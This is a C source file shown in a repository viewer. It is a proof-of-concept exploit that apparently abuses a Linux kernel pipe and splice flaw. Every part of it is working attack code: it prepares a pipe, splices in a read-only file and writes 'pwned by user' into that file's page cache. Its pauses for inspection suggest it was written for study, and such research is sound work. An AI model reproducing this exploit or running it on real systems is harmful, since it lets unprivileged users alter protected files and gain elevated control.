Repository navigation
Expand file tree
/
Copy pathpoc.c
More file actions
87 lines (76 loc) · 1.7 KB
/
Copy pathpoc.c
File metadata and controls
87 lines (76 loc) · 1.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
#define __USE_GNU
#include <fcntl.h>
#include <stdio.h>
#define PAGESIZE 4096
#define F_SETPIPE_SZ 1031
void
pause_for_inspection(char* msg)
{
puts(msg);
getchar();
}
void
fill_pipe(int pipefd_w)
{
for (int i = 1; i <= PAGESIZE / 8; i++) {
if (i == 1) {
pause_for_inspection("About to perform first write() to pipe");
}
if (i == PAGESIZE / 8) {
pause_for_inspection("About to perform last write() to pipe");
}
if (write(pipefd_w, "AAAAAAAA", 8) != 8) {
exit(1);
}
}
}
void
drain_pipe(int pipefd_r)
{
char buf[8];
for (int i = 1; i <= PAGESIZE / 8; i++) {
if (i == PAGESIZE / 8) {
pause_for_inspection("About to perform last read() from pipe");
}
if (read(pipefd_r, buf, 8) != 8) {
exit(1);
}
}
}
void
setup_pipe(int pipefd_r, int pipefd_w)
{
if (fcntl(pipefd_w, F_SETPIPE_SZ, PAGESIZE) != PAGESIZE) {
exit(1);
}
fill_pipe(pipefd_w);
drain_pipe(pipefd_r);
}
void
main()
{
int pipefds[2];
int tfd;
pause_for_inspection("About to open() file");
tfd = open("./target_file", O_RDONLY);
if (tfd < 0) {
exit(1);
}
pause_for_inspection("About to create pipe()");
if (pipe(pipefds)) {
exit(1);
}
setup_pipe(pipefds[0], pipefds[1]);
pause_for_inspection("About to splice() file to pipe");
if (splice(tfd, 0, pipefds[1], 0, 5, 0) < 0) {
exit(1);
}
pause_for_inspection("About to write() into page cache");
if (write(pipefds[1], "pwned by user", 13) != 13) {
exit(1);
}
exit(0);
}